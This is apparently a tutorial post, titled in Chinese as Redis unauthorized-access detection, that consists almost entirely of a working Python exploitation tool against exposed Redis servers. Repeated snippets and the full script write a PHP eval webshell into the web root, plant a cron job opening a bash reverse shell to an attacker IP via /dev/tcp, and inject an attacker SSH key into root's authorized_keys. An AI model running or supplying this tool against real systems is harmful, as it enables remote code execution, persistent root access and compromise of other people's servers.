使用python脚本实现Redis未授权访问检测

def is_port_open(host,port):
    s=socket.socket()
    s.settimeout(0.3)
    try:
        s.connect((host,port))
    except Exception as e:
        return False
    else:
        return True
    finally:
        s.close()

try:
    client = redis.StrictRedis(host=ip, port=port, socket_timeout=0.3)
    ok_lst = client.client_list()
    print('[+] Connected to the Redis server successfully...')
except Exception as e:
    print(f'[-] An unexpected error occurred: {e}')

config set dir /var/www/html
config set dbfilename shell.php
set x "<?php @eval($_POST[123]); ?>"
save

client.config_set('dir','/var/www/html')
client.config_set('dbfilename','shell.php')
client.set('x','<?php @eval($_POST[123]); ?>')
client.save()

def Webshell(client):
    try:
        df_dir='/var/www/html'
        web_dir=input('Please enter the root directory of the target machine\'s website, input nothing to use the default path: /var/www/html\n')
        web_dir=web_dir.strip()
        if not web_dir: web_dir=df_dir
        name=input('Please enter the name of the PHP file you want to upload: ')
        passwd=input('Please enter the connection password: ')
        client.config_set('dir',web_dir)
        client.config_set('dbfilename',name+'.php')
        client.set('x','<?php @eval($_POST['+passwd+']); ?>')
        client.save()
        print("[+] Webshell "+name+".php"+" uploaded successfully...")
    except Exception as e:
        print(f"[-] Webshell upload failed: {e}")

def Reverse(client):
    try:
        client.config_set('dir','/var/spool/cron')
        client.config_set('dbfilename','root')
        ip=input('Set the attacker\'s IP address: ')
        port=input('Set the listening port: ')
        payload='\n* * * * * bash -i >& /dev/tcp/'+ip+'/'+port+' 0>&1\n'
        client.set('x',payload)
        client.save()
        print("[+] Reverse shell task created successfully...")
    except Exception as e:
        print(f"[-] Reverse shell creation failed: {e}")

def Ssh(client):
    try:
        sshkey=input('Enter the SSH key you have generated: ')
        client.config_set('dir','/root/.ssh')
        client.config_set('dbfilename','authorized_keys')
        client.set('x','\n\n'+sshkey+'\n\n')
        client.save()
        print("[+] SSH key injected successfully.")
    except Exception as e:
        print(f"[-] SSH key injection failed: {e}")

import numpy as np
import socket
import redis
import sys
def Hello_FK_Redis():
    a,b=60,30
    x,y,r=30,15,13
    img=np.zeros((b,a),dtype=str)
    for i in range(b):
        for j in range(a):
            dist=np.sqrt((i-y)**2+(j-x)**2)
            if r-1<dist<r+1: img[i,j]='*'
            elif abs(j-x)<1 and dist<r: img[i,j]='|'
            elif abs(i-y)<1 and dist<r: img[i,j]='-'
    img[img=='']=' '
    for i in img: print(''.join(i))
    print('----Welcome to use Redis Vulnerability Exploitation Tool----')
def is_port_open(host,port):
    s=socket.socket()
    s.settimeout(0.3)
    try:
        s.connect((host,port))
    except Exception as e:
        return False
    else:
        return True
    finally:
        s.close()
def Webshell(client):
    try:
        df_dir='/var/www/html'
        web_dir=input('Please enter the root directory of the target machine\'s website, input nothing to use the default path: /var/www/html\n')
        web_dir=web_dir.strip()
        if not web_dir: web_dir=df_dir
        name=input('Please enter the name of the PHP file you want to upload: ')
        passwd=input('Please enter the connection password: ')
        client.config_set('dir',web_dir)
        client.config_set('dbfilename',name+'.php')
        client.set('x','<?php @eval($_POST['+passwd+']); ?>')
        client.save()
        print("[+] Webshell "+name+".php"+" uploaded successfully...")
    except Exception as e:
        print(f"[-] Webshell upload failed: {e}")
 
def Reverse(client):
    try:
        client.config_set('dir','/var/spool/cron')
        client.config_set('dbfilename','root')
        ip=input('Set the attacker\'s IP address: ')
        port=input('Set the listening port: ')
        ip=ip.strip()
        port=port.strip()
        payload='\n* * * * * bash -i >& /dev/tcp/'+ip+'/'+port+' 0>&1\n'
        client.set('x',payload)
        client.save()
        print("[+] Reverse shell task created successfully...")
    except Exception as e:
        print(f"[-] Reverse shell creation failed: {e}")
def Ssh(client):
    try:
        sshkey=input('Enter the SSH key you have generated: ')
        client.config_set('dir','/root/.ssh')
        client.config_set('dbfilename','authorized_keys')
        client.set('x','\n\n'+sshkey+'\n\n')
        client.save()
        print("[+] SSH key injected successfully.")
    except Exception as e:
        print(f"[-] SSH key injection failed: {e}")
if __name__ == '__main__':
    Hello_FK_Redis()
    ip=input('Please enter the target machine\'s IP address: ')
    port=6379
    if is_port_open(ip,port):
        print('[+] Port 6379 is open...')
        print('[*] Trying to connect Redis server...')
        try:
            client=redis.StrictRedis(host=ip,port=port,socket_timeout=0.3)
            ok_lst=client.client_list()
            print('[+] Connected to the Redis server successfully...')
            print('Please choose the exploit method you want to use:\nEnter 1 for webshell\nEnter 2 for establishing a reverse connection\nEnter 3 for SSH key-based authentication\nOr any other character to exit...')
            try:
                c=int(input())
                if c==1: Webshell(client)
                elif c==2: Reverse(client)
                elif c==3: Ssh(client)
                else: 
                    print('[*] Exiting...')
                    sys.exit()
            except Exception:
                print('[*] Exiting...')
                sys.exit()
        except Exception as e:
            print(f'[-] An unexpected error occurred: {e}')
 
    else:
        print('[-] Port 6379 is not open...')